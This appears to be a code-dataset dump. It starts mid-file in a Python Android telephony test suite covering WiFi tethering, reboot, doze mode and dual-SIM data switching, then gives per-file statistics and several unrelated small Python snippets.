self.android_devices[1], RAT_3G, phone_setup_voice_3g, is_phone_in_call_3g) @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_no_password(self): """WiFi Tethering test: Start WiFi tethering with no password 1. DUT is idle. 2. DUT start 2.4G WiFi Tethering, with no WiFi password. 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10, password="") @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_reboot(self): """WiFi Tethering test: Start WiFi tethering then Reboot device 1. DUT is idle. 2. DUT start 2.4G WiFi Tethering. 3. PhoneB disable data, connect to DUT's softAP 4. Verify Internet access on DUT and PhoneB 5. Reboot DUT 6. After DUT reboot, verify tethering is stopped. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False try: if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info("Reboot DUT:{}".format(ads[0].serial)) ads[0].reboot() time.sleep(WAIT_TIME_AFTER_REBOOT + WAIT_TIME_TETHERING_AFTER_REBOOT) self.log.info("After reboot check if tethering stopped.") if ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering did NOT stopped.") return False finally: ads[1].droid.telephonyToggleDataConnection(True) WifiUtils.wifi_reset(self.log, ads[1]) if ads[0].droid.wifiIsApEnabled(): WifiUtils.stop_wifi_tethering(self.log, ads[0]) return True @TelephonyBaseTest.tel_test_wrap def test_connect_wifi_start_tethering_wifi_reboot(self): """WiFi Tethering test: WiFI connected, then start WiFi tethering, then reboot device. Initial Condition: DUT in 4G mode, idle, DUT connect to WiFi. 1. DUT start 2.4G WiFi Tethering. 2. PhoneB disable data, connect to DUT's softAP 3. Verify Internet access on DUT and PhoneB 4. Reboot DUT 5. After DUT reboot, verify tethering is stopped. DUT is able to connect to previous WiFi AP. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False self.log.info("Make sure DUT can connect to live network by WIFI") if ((not ensure_wifi_connected(self.log, ads[0], self.wifi_network_ssid, self.wifi_network_pass)) or (not verify_http_connection(self.log, ads[0]))): self.log.error("WiFi connect fail.") return False try: if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info("Reboot DUT:{}".format(ads[0].serial)) ads[0].reboot() time.sleep(WAIT_TIME_AFTER_REBOOT) time.sleep(WAIT_TIME_TETHERING_AFTER_REBOOT) self.log.info("After reboot check if tethering stopped.") if ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering did NOT stopped.") return False self.log.info("Make sure WiFi can connect automatically.") if (not wait_for_wifi_data_connection(self.log, ads[0], True) or not verify_http_connection(self.log, ads[0])): self.log.error("Data did not return to WiFi") return False finally: ads[1].droid.telephonyToggleDataConnection(True) WifiUtils.wifi_reset(self.log, ads[1]) if ads[0].droid.wifiIsApEnabled(): WifiUtils.stop_wifi_tethering(self.log, ads[0]) return True @TelephonyBaseTest.tel_test_wrap def test_connect_wifi_reboot_start_tethering_wifi(self): """WiFi Tethering test: DUT connected to WiFi, then reboot, After reboot, start WiFi tethering, verify tethering actually works. Initial Condition: Device set to 4G mode, idle, DUT connect to WiFi. 1. Verify Internet is working on DUT (by WiFi). 2. Reboot DUT. 3. DUT start 2.4G WiFi Tethering. 4. PhoneB disable data, connect to DUT's softAP 5. Verify Internet access on DUT and PhoneB Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False self.log.info("Make sure DUT can connect to live network by WIFI") if ((not ensure_wifi_connected(self.log, ads[0], self.wifi_network_ssid, self.wifi_network_pass)) or (not verify_http_connection(self.log, ads[0]))): self.log.error("WiFi connect fail.") return False self.log.info("Reboot DUT:{}".format(ads[0].serial)) ads[0].reboot() time.sleep(WAIT_TIME_AFTER_REBOOT) time.sleep(WAIT_TIME_TETHERING_AFTER_REBOOT) return wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=10) @TelephonyBaseTest.tel_test_wrap def test_tethering_wifi_screen_off_enable_doze_mode(self): """WiFi Tethering test: Start WiFi tethering, then turn off DUT's screen, then enable doze mode. 1. Start WiFi tethering on DUT. 2. PhoneB disable data, and connect to DUT's softAP 3. Verify Internet access on DUT and PhoneB 4. Turn off DUT's screen. Wait for 1 minute and verify Internet access on Client PhoneB. 5. Enable doze mode on DUT. Wait for 1 minute and verify Internet access on Client PhoneB. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False try: if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False self.log.info("Turn off screen on provider: <{}>.".format(ads[ 0].serial)) ads[0].droid.goToSleepNow() time.sleep(60) if not verify_http_connection(self.log, ads[1]): self.log.error("Client have no Internet access.") return False self.log.info("Enable doze mode on provider: <{}>.".format(ads[ 0].serial)) if not enable_doze(ads[0]): self.log.error("Failed to enable doze mode.") return False time.sleep(60) if not verify_http_connection(self.log, ads[1]): self.log.error("Client have no Internet access.") return False finally: self.log.info("Disable doze mode.") if not disable_doze(ads[0]): self.log.error("Failed to disable doze mode.") return False if not wifi_tethering_cleanup(self.log, ads[0], [ads[1]]): return False return True @TelephonyBaseTest.tel_test_wrap def test_msim_switch_data_sim_2g(self): """Switch Data SIM on 2G network. Steps: 1. Data on default Data SIM. 2. Switch Data to another SIM. Make sure data is still available. 3. Switch Data back to previous SIM. Make sure data is still available. Expected Results: 1. Verify Data on Cell 2. Verify Data on Wifi Returns: True if success. False if failed. """ ad = self.android_devices[0] current_data_sub_id = ad.droid.subscriptionGetDefaultDataSubId() current_sim_slot_index = get_slot_index_from_subid(self.log, ad, current_data_sub_id) if current_sim_slot_index == SIM1_SLOT_INDEX: next_sim_slot_index = SIM2_SLOT_INDEX else: next_sim_slot_index = SIM1_SLOT_INDEX next_data_sub_id = get_subid_from_slot_index(self.log, ad, next_sim_slot_index) self.log.info("Current Data is on subId: {}, SIM slot: {}".format( current_data_sub_id, current_sim_slot_index)) if not ensure_network_generation_for_subscription( self.log, ad, ad.droid.subscriptionGetDefaultDataSubId(), GEN_2G, voice_or_data=NETWORK_SERVICE_DATA): self.log.error("Device data does not attach to 2G.") return False if not verify_http_connection(self.log, ad): self.log.error("No Internet access on default Data SIM.") return False self.log.info("Change Data to subId: {}, SIM slot: {}".format( next_data_sub_id, next_sim_slot_index)) if not change_data_sim_and_verify_data(self.log, ad, next_sim_slot_index): self.log.error("Failed to change data SIM.") return False next_data_sub_id = current_data_sub_id next_sim_slot_index = current_sim_slot_index self.log.info("Change Data back to subId: {}, SIM slot: {}".format( next_data_sub_id, next_sim_slot_index)) if not change_data_sim_and_verify_data(self.log, ad, next_sim_slot_index): self.log.error("Failed to change data SIM.") return False return True def _test_wifi_connect_disconnect(self): """Perform multiple connects and disconnects from WiFi and verify that data switches between WiFi and Cell. Steps: 1. Reset Wifi on DUT 2. Connect DUT to a WiFi AP 3. Repeat steps 1-2, alternately disconnecting and disabling wifi Expected Results: 1. Verify Data on Cell 2. Verify Data on Wifi Returns: True if success. False if failed. """ ad = self.android_devices[0] wifi_toggles = [True, False, True, False, False, True, False, False, False, False, True, False, False, False, False, False, False, False, False] for toggle in wifi_toggles: WifiUtils.wifi_reset(self.log, ad, toggle) if not wait_for_cell_data_connection( self.log, ad, True, MAX_WAIT_TIME_WIFI_CONNECTION): self.log.error("Failed wifi connection, aborting!") return False if not verify_http_connection(self.log, ad, 'http://www.google.com', 100, .1): self.log.error("Failed to get user-plane traffic, aborting!") return False if toggle: WifiUtils.wifi_toggle_state(self.log, ad, True) WifiUtils.wifi_connect(self.log, ad, self.wifi_network_ssid, self.wifi_network_pass) if not wait_for_wifi_data_connection( self.log, ad, True, MAX_WAIT_TIME_WIFI_CONNECTION): self.log.error("Failed wifi connection, aborting!") return False if not verify_http_connection(self.log, ad, 'http://www.google.com', 100, .1): self.log.error("Failed to get user-plane traffic, aborting!") return False return True @TelephonyBaseTest.tel_test_wrap def test_wifi_connect_disconnect_4g(self): """Perform multiple connects and disconnects from WiFi and verify that data switches between WiFi and Cell. Steps: 1. DUT Cellular Data is on 4G. Reset Wifi on DUT 2. Connect DUT to a WiFi AP 3. Repeat steps 1-2, alternately disconnecting and disabling wifi Expected Results: 1. Verify Data on Cell 2. Verify Data on Wifi Returns: True if success. False if failed. """ ad = self.android_devices[0] if not ensure_network_generation_for_subscription(self.log, ad, ad.droid.subscriptionGetDefaultDataSubId(), GEN_4G, MAX_WAIT_TIME_NW_SELECTION, NETWORK_SERVICE_DATA): self.log.error("Device {} failed to reselect in {}s.".format( ad.serial, MAX_WAIT_TIME_NW_SELECTION)) return False return self._test_wifi_connect_disconnect() @TelephonyBaseTest.tel_test_wrap def test_wifi_connect_disconnect_3g(self): """Perform multiple connects and disconnects from WiFi and verify that data switches between WiFi and Cell. Steps: 1. DUT Cellular Data is on 3G. Reset Wifi on DUT 2. Connect DUT to a WiFi AP 3. Repeat steps 1-2, alternately disconnecting and disabling wifi Expected Results: 1. Verify Data on Cell 2. Verify Data on Wifi Returns: True if success. False if failed. """ ad = self.android_devices[0] if not ensure_network_generation_for_subscription(self.log, ad, ad.droid.subscriptionGetDefaultDataSubId(), GEN_3G, MAX_WAIT_TIME_NW_SELECTION, NETWORK_SERVICE_DATA): self.log.error("Device {} failed to reselect in {}s.".format( ad.serial, MAX_WAIT_TIME_NW_SELECTION)) return False return self._test_wifi_connect_disconnect() @TelephonyBaseTest.tel_test_wrap def test_wifi_connect_disconnect_2g(self): """Perform multiple connects and disconnects from WiFi and verify that data switches between WiFi and Cell. Steps: 1. DUT Cellular Data is on 2G. Reset Wifi on DUT 2. Connect DUT to a WiFi AP 3. Repeat steps 1-2, alternately disconnecting and disabling wifi Expected Results: 1. Verify Data on Cell 2. Verify Data on Wifi Returns: True if success. False if failed. """ ad = self.android_devices[0] if not ensure_network_generation_for_subscription(self.log, ad, ad.droid.subscriptionGetDefaultDataSubId(), GEN_2G, MAX_WAIT_TIME_NW_SELECTION, NETWORK_SERVICE_DATA): self.log.error("Device {} failed to reselect in {}s.".format( ad.serial, MAX_WAIT_TIME_NW_SELECTION)) return False return self._test_wifi_connect_disconnect() def _test_wifi_tethering_enabled_add_voice_call(self, network_generation, voice_call_direction, is_data_available_during_call): """Tethering enabled + voice call. Steps: 1. DUT data is on <network_generation>. Start WiFi Tethering. 2. PhoneB connect to DUT's softAP 3. DUT make a MO/MT (<voice_call_direction>) phone call. 4. DUT end phone call. Expected Results: 1. DUT is able to start WiFi tethering. 2. PhoneB connected to DUT's softAP and able to browse Internet. 3. DUT WiFi tethering is still on. Phone call works OK. If is_data_available_during_call is True, then PhoneB still has Internet access. Else, then Data is suspend, PhoneB has no Internet access. 4. WiFi Tethering still on, voice call stopped, and PhoneB have Internet access. Returns: True if success. False if failed. """ ads = self.android_devices if not self._test_setup_tethering(ads, network_generation): self.log.error("Verify Internet access failed.") return False try: # Start WiFi Tethering if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False # Make a voice call if voice_call_direction == DIRECTION_MOBILE_ORIGINATED: ad_caller = ads[0] ad_callee = ads[1] else: ad_caller = ads[1] ad_callee = ads[0] if not call_setup_teardown(self.log, ad_caller, ad_callee, None, None, None): self.log.error("Failed to Establish {} Voice Call".format( voice_call_direction)) return False # Tethering should still be on. if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False if not is_data_available_during_call: if verify_http_connection(self.log, ads[1], retry=0): self.log.error("Client should not have Internet Access.") return False else: if not verify_http_connection(self.log, ads[1]): self.log.error("Client should have Internet Access.") return False # Hangup call. Client should have data. if not hangup_call(self.log, ads[0]): self.log.error("Failed to hang up call") return False if not ads[0].droid.wifiIsApEnabled(): self.log.error("Provider WiFi tethering stopped.") return False if not verify_http_connection(self.log, ads[1]): self.log.error("Client should have Internet Access.") return False finally: ads[1].droid.telephonyToggleDataConnection(True) WifiUtils.wifi_reset(self.log, ads[1]) if ads[0].droid.wifiIsApEnabled(): WifiUtils.stop_wifi_tethering(self.log, ads[0]) return True @TelephonyBaseTest.tel_test_wrap def test_wifi_tethering_enabled_add_mo_voice_call_2g_dsds(self): """Tethering enabled + voice call Steps: 1. DUT is DSDS device, Data on 2G. Start WiFi Tethering on <Data SIM> 2. PhoneB connect to DUT's softAP 3. DUT make a mo phone call on <Voice SIM> 4. DUT end phone call. Expected Results: 1. DUT is able to start WiFi tethering. 2. PhoneB connected to DUT's softAP and able to browse Internet. 3. DUT WiFi tethering is still on. Phone call works OK. Data is suspend, PhoneB still connected to DUT's softAP, but no data available. 4. DUT data resumes, and PhoneB have Internet access. Returns: True if success. False if failed. """ return self._test_wifi_tethering_enabled_add_voice_call(GEN_2G, DIRECTION_MOBILE_ORIGINATED, False) @TelephonyBaseTest.tel_test_wrap def test_wifi_tethering_enabled_add_mt_voice_call_2g_dsds(self): """Tethering enabled + voice call Steps: 1. DUT is DSDS device, Data on 2G. Start WiFi Tethering on <Data SIM> 2. PhoneB connect to DUT's softAP 3. DUT make a mt phone call on <Voice SIM> 4. DUT end phone call. Expected Results: 1. DUT is able to start WiFi tethering. 2. PhoneB connected to DUT's softAP and able to browse Internet. 3. DUT WiFi tethering is still on. Phone call works OK. Data is suspend, PhoneB still connected to DUT's softAP, but no data available. 4. DUT data resumes, and PhoneB have Internet access. Returns: True if success. False if failed. """ return self._test_wifi_tethering_enabled_add_voice_call(GEN_2G, DIRECTION_MOBILE_TERMINATED, False) @TelephonyBaseTest.tel_test_wrap def test_wifi_tethering_msim_switch_data_sim(self): """Tethering enabled + switch data SIM. Steps: 1. Start WiFi Tethering on <Default Data SIM> 2. PhoneB connect to DUT's softAP 3. DUT change Default Data SIM. Expected Results: 1. DUT is able to start WiFi tethering. 2. PhoneB connected to DUT's softAP and able to browse Internet. 3. DUT Data changed to 2nd SIM, WiFi tethering should continues, PhoneB should have Internet access. Returns: True if success. False if failed. """ ads = self.android_devices current_data_sub_id = ads[0].droid.subscriptionGetDefaultDataSubId() current_sim_slot_index = get_slot_index_from_subid(self.log, ads[0], current_data_sub_id) self.log.info("Current Data is on subId: {}, SIM slot: {}".format( current_data_sub_id, current_sim_slot_index)) if not self._test_setup_tethering(ads): self.log.error("Verify Internet access failed.") return False try: # Start WiFi Tethering if not wifi_tethering_setup_teardown( self.log, ads[0], [ads[1]], ap_band=WifiUtils.WIFI_CONFIG_APBAND_2G, check_interval=10, check_iteration=2, do_cleanup=False): self.log.error("WiFi Tethering failed.") return False for i in range(0, 2): next_sim_slot_index = \ {SIM1_SLOT_INDEX : SIM2_SLOT_INDEX, SIM2_SLOT_INDEX : SIM1_SLOT_INDEX}[current_sim_slot_index] self.log.info("Change Data to SIM slot: {}". format(next_sim_slot_index)) if not change_data_sim_and_verify_data(self.log, ads[0], next_sim_slot_index): self.log.error("Failed to change data SIM.") return False current_sim_slot_index = next_sim_slot_index if not verify_http_connection(self.log, ads[1]): self.log.error("Client should have Internet Access.") return False finally: ads[1].droid.telephonyToggleDataConnection(True) WifiUtils.wifi_reset(self.log, ads[1]) if ads[0].droid.wifiIsApEnabled(): WifiUtils.stop_wifi_tethering(self.log, ads[0]) return True @TelephonyBaseTest.tel_test_wrap def test_msim_cell_data_switch_to_wifi_switch_data_sim_2g(self): """Switch Data SIM on 2G network. Steps: 1. Data on default Data SIM. 2. Turn on WiFi, then data should be on WiFi. 3. Switch Data to another SIM. Disable WiFi. Expected Results: 1. Verify Data on Cell 2. Verify Data on WiFi 3. After WiFi disabled, Cell Data is available on 2nd SIM. Returns: True if success. False if failed. """ ad = self.android_devices[0] current_data_sub_id = ad.droid.subscriptionGetDefaultDataSubId() current_sim_slot_index = get_slot_index_from_subid(self.log, ad, current_data_sub_id) if current_sim_slot_index == SIM1_SLOT_INDEX: next_sim_slot_index = SIM2_SLOT_INDEX else: next_sim_slot_index = SIM1_SLOT_INDEX next_data_sub_id = get_subid_from_slot_index(self.log, ad, next_sim_slot_index) self.log.info("Current Data is on subId: {}, SIM slot: {}".format( current_data_sub_id, current_sim_slot_index)) if not ensure_network_generation_for_subscription( self.log, ad, ad.droid.subscriptionGetDefaultDataSubId(), GEN_2G, voice_or_data=NETWORK_SERVICE_DATA): self.log.error("Device data does not attach to 2G.") return False if not verify_http_connection(self.log, ad): self.log.error("No Internet access on default Data SIM.") return False self.log.info("Connect to WiFi and verify Internet access.") if not ensure_wifi_connected(self.log, ad, self.wifi_network_ssid, self.wifi_network_pass): self.log.error("WiFi connect fail.") return False if (not wait_for_wifi_data_connection(self.log, ad, True) or not verify_http_connection(self.log, ad)): self.log.error("Data is not on WiFi") return False try: self.log.info( "Change Data SIM, Disable WiFi and verify Internet access.") set_subid_for_data(ad, next_data_sub_id) WifiUtils.wifi_toggle_state(self.log, ad, False) if not wait_for_data_attach_for_subscription( self.log, ad, next_data_sub_id, MAX_WAIT_TIME_NW_SELECTION): self.log.error("Failed to attach data on subId:{}".format( next_data_sub_id)) return False if not verify_http_connection(self.log, ad): self.log.error("No Internet access after changing Data SIM.") return False finally: self.log.info("Change Data SIM back.") set_subid_for_data(ad, current_data_sub_id) return True @TelephonyBaseTest.tel_test_wrap def test_disable_data_on_non_active_data_sim(self): """Switch Data SIM on 2G network. Steps: 1. Data on default Data SIM. 2. Disable data on non-active Data SIM. Expected Results: 1. Verify Data Status on Default Data SIM and non-active Data SIM. 1. Verify Data Status on Default Data SIM and non-active Data SIM. Returns: True if success. False if failed. """ ad = self.android_devices[0] current_data_sub_id = ad.droid.subscriptionGetDefaultDataSubId() current_sim_slot_index = get_slot_index_from_subid(self.log, ad, current_data_sub_id) if current_sim_slot_index == SIM1_SLOT_INDEX: non_active_sim_slot_index = SIM2_SLOT_INDEX else: non_active_sim_slot_index = SIM1_SLOT_INDEX non_active_sub_id = get_subid_from_slot_index( self.log, ad, non_active_sim_slot_index) self.log.info("Current Data is on subId: {}, SIM slot: {}".format( current_data_sub_id, current_sim_slot_index)) if not ensure_network_generation_for_subscription( self.log, ad, ad.droid.subscriptionGetDefaultDataSubId(), GEN_2G, voice_or_data=NETWORK_SERVICE_DATA): self.log.error("Device data does not attach to 2G.") return False if not verify_http_connection(self.log, ad): self.log.error("No Internet access on default Data SIM.") return False if ad.droid.telephonyGetDataConnectionState() != DATA_STATE_CONNECTED: self.log.error("Data Connection State should be connected.") return False # TODO: Check Data state for non-active subId. try: self.log.info("Disable Data on Non-Active Sub ID") ad.droid.telephonyToggleDataConnectionForSubscription( non_active_sub_id, False) # TODO: Check Data state for non-active subId. if ad.droid.telephonyGetDataConnectionState( ) != DATA_STATE_CONNECTED: self.log.error("Data Connection State should be connected.") return False finally: self.log.info("Enable Data on Non-Active Sub ID") ad.droid.telephonyToggleDataConnectionForSubscription( non_active_sub_id, True) return True """ Tests End """

40.225888

94

0.600721

11,518

95,094

4.739538

0.041153

0.046803

0.027917

0.027844

0.881498

0.842792

0.813482

0.78595

0.757446

0.719381

0

0.016756

0.3247

95,094

2,363

95

40.242912

0.833331

0.220981

0

0.692199

0

0.000709

0.116248

0.020604

0

0.000423

0

1

0.042553

false

0.028369

0.049645

0

0.229787

0

null

0

1

0

null

0

6

991da7d12c98bfd58a4e73574d11344be38da489

49

py

Python

examples/importing_modules/py/magic_dust/sparkles.py

mooreryan/pyml_bindgen

b326af274fca2de959c9b1ec1c61030de4633304

[ "Apache-2.0", "MIT" ]

24

2021-11-10T06:36:17.000Z

2022-02-08T15:16:10.000Z

examples/importing_modules/py/magic_dust/sparkles.py

mooreryan/pyml_bindgen

b326af274fca2de959c9b1ec1c61030de4633304

[ "Apache-2.0", "MIT" ]

9

2022-01-28T05:57:08.000Z

2022-03-23T05:59:21.000Z

examples/importing_modules/py/magic_dust/sparkles.py

mooreryan/pyml_bindgen

b326af274fca2de959c9b1ec1c61030de4633304

[ "Apache-2.0", "MIT" ]

1

2022-01-28T05:25:19.000Z

def sparkles(): return('sparkle, sparkle!!')

16.333333

32

0.632653

5

49

6.2

0.8

0

0.163265

49

2

33

24.5

0.756098

0

0.367347

0

1

0.5

true

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

6

99247c88aaa175819b45adb0430c1ab33c9388b5

32

py

Python

flopco/__init__.py

ABaaaC/flopco-pytorch

85465b493fade1b73b8209caa38d82d1c8d2a0ef

[ "MIT" ]

14

2019-10-10T19:22:46.000Z

2021-12-23T10:16:03.000Z

flopco/__init__.py

ABaaaC/flopco-pytorch

85465b493fade1b73b8209caa38d82d1c8d2a0ef

[ "MIT" ]

2

2020-09-04T13:11:55.000Z

2021-06-04T20:13:49.000Z

flopco/__init__.py

ABaaaC/flopco-pytorch

85465b493fade1b73b8209caa38d82d1c8d2a0ef

[ "MIT" ]

6

2019-10-28T12:03:34.000Z

2021-03-18T19:15:06.000Z

from flopco.flopco import FlopCo

32

0.875

5

32

5.6

0.6

0

0.09375

32

1

32

0.965517

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

9940940b714da5e1daa3d7355178294770f3d0ff

41

py

Python

src/python/zquantum/core/estimation/__init__.py

alexjuda2/z-quantum-core

c258100dbd091f0b22495b77b36399426ae9abac

[ "Apache-2.0" ]

24

2020-04-15T17:36:59.000Z

2022-01-25T05:02:14.000Z

src/python/zquantum/core/estimation/__init__.py

alexjuda2/z-quantum-core

c258100dbd091f0b22495b77b36399426ae9abac

[ "Apache-2.0" ]

177

2020-04-23T15:19:59.000Z

2022-03-30T18:06:17.000Z

src/python/zquantum/core/estimation/__init__.py

alexjuda2/z-quantum-core

c258100dbd091f0b22495b77b36399426ae9abac

[ "Apache-2.0" ]

19

2020-06-24T10:56:02.000Z

2021-09-30T13:02:21.000Z

from ._estimation import * # noqa: F403

20.5

40

0.707317

5

41

5.6

1

0

0.090909

0.195122

41

1

41

0.757576

0.243902

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

995d69c01c8610d7b24c40f28231f7c85fe2e7b5

172

py

Python

Source/Objects/__init__.py

Dmunch04/SquareIt

0379b208afa397b349c119f15e2611ec93f3bedb

[ "MIT" ]

1

2019-07-01T10:07:30.000Z

Source/Objects/__init__.py

Dmunch04/SquareIt

0379b208afa397b349c119f15e2611ec93f3bedb

[ "MIT" ]

null

Source/Objects/__init__.py

Dmunch04/SquareIt

0379b208afa397b349c119f15e2611ec93f3bedb

[ "MIT" ]

null

from Objects.Bomb import Bomb from Objects.Wall import Wall from Objects.Enemy import Enemy from Objects.Player import Player from Objects.Notification import Notification

28.666667

45

0.854651

25

172

5.88

0.32

0.37415

0

0.116279

172

5

46

34.4

0.967105

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

998fc0183c72a8d8ef6719ef3b55c3cb9d8237fd

143

py

Python

vkbottle/framework/bot/__init__.py

shugaev1/vkbottle

9759e8e799c2e336f44c78bc92cc8b8029da73aa

[ "MIT" ]

98

2021-08-06T05:31:31.000Z

2022-03-26T03:00:08.000Z

vkbottle/framework/bot/__init__.py

shugaev1/vkbottle

9759e8e799c2e336f44c78bc92cc8b8029da73aa

[ "MIT" ]

68

2021-08-04T09:56:12.000Z

2022-03-31T16:23:12.000Z

vkbottle/framework/bot/__init__.py

shugaev1/vkbottle

9759e8e799c2e336f44c78bc92cc8b8029da73aa

[ "MIT" ]

66

2021-08-04T09:21:43.000Z

2022-03-15T14:34:56.000Z

from .blueprint import BotBlueprint from .bot import Bot from .multibot import run_multibot __all__ = ("Bot", "BotBlueprint", "run_multibot")

23.833333

49

0.776224

18

143

5.833333

0.444444

0.209524

0

0.125874

143

5

50

28.6

0.84

0

0.188811

0

1

0

false

0

0.75

0

0.75

0.5

1

0

null

1

0

1

0

null

0

1

0

1

0

6

41edd404f58f46808fe286ac8b69fa66b6dcd9a7

114

py

Python

lichee/dataset/io_reader/__init__.py

Tencent/Lichee

7653becd6fbf8b0715f788af3c0507c012be08b4

[ "Apache-2.0" ]

91

2021-10-30T02:25:05.000Z

2022-03-28T06:51:52.000Z

lichee/dataset/io_reader/__init__.py

zhaijunyu/Lichee

7653becd6fbf8b0715f788af3c0507c012be08b4

[ "Apache-2.0" ]

1

2021-12-17T09:30:25.000Z

2022-03-05T12:30:13.000Z

lichee/dataset/io_reader/__init__.py

zhaijunyu/Lichee

7653becd6fbf8b0715f788af3c0507c012be08b4

[ "Apache-2.0" ]

17

2021-11-04T07:50:23.000Z

2022-03-24T14:24:11.000Z

# -*- coding: utf-8 -*- """ 文件读取插件 """ from . import json_sequence_label from . import tfrecord from . import tsv

14.25

33

0.666667

15

114

4.933333

0.733333

0.405405

0

0.010638

0.175439

114

7

34

16.285714

0.776596

0.254386

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

510853e1a0e416f20a3bc24029e8c81acd265307

120

py

Python

Chapter 01/on2.py

bpbpublications/Python-Quick-Interview-Guide

ab4ff3e670b116a4db6b9e1f0ccba8424640704d

[ "MIT" ]

1

2021-05-14T19:53:41.000Z

Chapter 01/on2.py

bpbpublications/Python-Quick-Interview-Guide

ab4ff3e670b116a4db6b9e1f0ccba8424640704d

[ "MIT" ]

null

Chapter 01/on2.py

bpbpublications/Python-Quick-Interview-Guide

ab4ff3e670b116a4db6b9e1f0ccba8424640704d

[ "MIT" ]

null

a = [[1,2,3],[4,5,6],[7,8,9]] sum = 0 for i in range(3): for j in range(3): sum += a[i][j] print(sum)

17.142857

30

0.433333

28

120

1.857143

0.642857

0.269231

0.307692

0

0.142857

0.3

120

6

31

20

0.47619

0

1

0

false

0

0.166667

1

0

1

null

1

0

1

0

1

0

null

0

6